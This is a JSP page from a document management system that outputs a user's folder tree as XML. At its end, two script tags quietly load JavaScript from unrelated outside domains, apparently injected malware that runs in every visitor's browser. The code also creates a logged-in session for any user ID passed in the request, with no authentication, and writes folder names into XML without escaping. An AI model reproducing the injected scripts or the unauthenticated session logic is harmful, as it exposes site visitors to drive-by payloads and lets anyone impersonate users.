<%@ page import="com.dcivision.framework.*"
%><%@ page import="com.dcivision.framework.web.*"
%><%@ page import="com.dcivision.framework.bean.*"
%><%@ page import="com.dcivision.framework.dao.*"
%><%@ page import="com.dcivision.user.auth.*"
%><%@ page import="com.dcivision.user.bean.*"
%><%@ page import="com.dcivision.user.dao.*"
%><%@ page import="com.dcivision.dms.*" 
%><%@ page import="com.dcivision.dms.dao.*" 
%><%@ page import="com.dcivision.dms.bean.* "
%><%@ page import="com.dcivision.dms.core.* "
%><%@ page import="java.sql.*"
%><%@ page import="java.util.*"
%><%@ page import="org.apache.commons.logging.LogFactory"
%><%
   Connection conn = DataSourceFactory.getConnection();
   SessionContainer sessionContainer = new SessionContainer();
   
   StringBuffer Folder = new StringBuffer();
   int runNo=0;
   request.setAttribute("ParaScanRunNo",new Integer(runNo));
   request.setAttribute("ParaScanFolder", Folder);
   
   DmsDocumentDAObject dmsDocumentDAO=new DmsDocumentDAObject( sessionContainer,conn);
   DmsRootDAObject dmsRootDAO=new DmsRootDAObject( sessionContainer,conn);
   DocumentRetrievalManager docRetrievalManager=new DocumentRetrievalManager( sessionContainer,conn);
   RootOperationManager rootOperationManager = new RootOperationManager( sessionContainer, conn);
   
   ParaScanManager scanManager= new ParaScanManager(sessionContainer,conn);
   String userIP = request.getRemoteAddr();
   
   DmsDocument documentRoot = null;
   List folderTreeList=new ArrayList();
   try {
     String parentID=request.getParameter("parentID");
     String levelNo=request.getParameter("levelNo");
     String userRecordID = request.getParameter("userRecordID");
     
     UserRecordDAObject userRecordDAO  = new UserRecordDAObject(sessionContainer,conn);
     SessionContainer userSession = null;
     if(TextUtility.parseIntegerObj(userRecordID)!=null){
       UserRecord userRecord = (UserRecord)userRecordDAO.getObjectByID(TextUtility.parseIntegerObj(userRecordID));
       userSession = scanManager.getUserSession(userRecord,userIP);
     }else{
       userSession = sessionContainer ;
     }
     
     request.getSession().setAttribute(GlobalConstant.SESSION_CONTAINER_KEY,userSession);
     userSession.setLoginStatus(AuditLoginOut.STATUS_LOGIN_SUCCESS);
     PermissionManager permissionManager = userSession.getPermissionManager(); 
     permissionManager.initAccessibleSystemFunction();
         
     Integer nParentID=new Integer(0);
     if(!Utility.isEmpty(parentID)){
       nParentID=TextUtility.parseIntegerObj(parentID);
     }
     int nlevelNo=TextUtility.parseInteger(levelNo);
     StringBuffer prFolder=new StringBuffer();
     StringBuffer nFolder=new StringBuffer();
     boolean havePermission = false;
     String newString="";     
     
     if(!Utility.isEmpty(parentID) && !"0".equals(parentID)){
       if(!Utility.isEmpty(userRecordID)){      
         havePermission=scanManager.checkHasPermissionOnObject(GlobalConstant.OBJECT_TYPE_DOCUMENT,nParentID, null, "R",userSession);
       }else{
         havePermission=false;
       }
         
       if(havePermission){
         DmsDocument dmsDocument=(DmsDocument)dmsDocumentDAO.getObjectByID(nParentID);
         prFolder.append("<Folder Name=\""+dmsDocument.getDocumentName()+"\" FolderId=\""+dmsDocument.getID()+"\">");           
         if(Utility.isEmpty(levelNo)){
           nFolder=scanManager.getFolderTreeByParentIDRootID(nParentID,null,0,request);
         }else{
           List folderList= dmsDocumentDAO.getListByRootID(nParentID,DmsDocument.FOLDER_TYPE);
           if(nlevelNo>=folderList.size()){
             nFolder=scanManager.getFolderTreeByParentIDRootID(nParentID,null,0,request);
           }else{
             nFolder=scanManager.getFolderTreeByParentIDRootID(nParentID,null,nlevelNo,request);
           }
         }
         prFolder.append(nFolder);
         prFolder.append("</Folder>");
       }
       newString=TextUtility.htmlEncode(prFolder.toString());
     }else{
       List rootList=dmsDocumentDAO.getListByParentID(new Integer(0),null,DmsDocument.FOLDER_TYPE);
       List prRootList=new ArrayList();  
       StringBuffer pubFolder=new StringBuffer();
       for(int i=0;i<rootList.size();i++){
         Folder=new StringBuffer();
         runNo = 1;
         request.setAttribute("ParaScanRunNo",new Integer(runNo));
         if(!Utility.isEmpty(request.getParameter("userRecordID"))){
           havePermission=scanManager.checkHasPermissionOnObject(GlobalConstant.OBJECT_TYPE_DOCUMENT,((DmsDocument)rootList.get(i)).getID(),null,"R",userSession);                   
         }else{
           havePermission=false;
         }
         if(havePermission){
           prRootList.add(rootList.get(i)); 
           Integer pID=((DmsDocument)rootList.get(i)).getID();
           pubFolder.append("<Folder Name=\""+((DmsDocument)rootList.get(i)).getDocumentName()+"\" FolderId=\""+pID+"\">");
           if(Utility.isEmpty(levelNo)){
             nFolder=scanManager.getFolderTreeByParentIDRootID(pID,null,0,request);
           }else{
             List folderList= dmsDocumentDAO.getListByRootID(pID,DmsDocument.FOLDER_TYPE);
             if(nlevelNo>=folderList.size()){
               nFolder=scanManager.getFolderTreeByParentIDRootID(pID,null,0,request);
             }else{
               nFolder=scanManager.getFolderTreeByParentIDRootID(pID,null,nlevelNo,request);
             }
           }
           pubFolder.append(nFolder);
           pubFolder.append("</Folder>");
         }
        } 
        //newString=TextUtility.htmlEncode(pubFolder.toString());       
        newString =  pubFolder.toString();
     }
     
     if(!com.dcivision.framework.Utility.isEmpty(parentID) && !"0".equals(parentID)){
       if(!com.dcivision.framework.Utility.isEmpty(newString)){
         out.println("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
         out.println(newString);
       }else{
         out.println("No Permission!");
       }
     }else{
     out.println("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
     out.println("<Folder Name=\"ParaDM\" FolderId=\"0\">");
     if(!com.dcivision.framework.Utility.isEmpty(newString)){
       out.println(newString);
     }
     out.println("</Folder>");   
   }              
     
   //} catch (ApplicationException appEx) {
      //throw appEx;
    } catch (Exception e) {
      LogFactory.getLog(this.getClass()).error(e, e);
      throw new ApplicationException(ErrorConstant.COMMON_FATAL_ERROR, e);
    }finally{
      try { conn.close(); } catch (Exception ignore) {} finally { conn = null; }
    } 
   
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>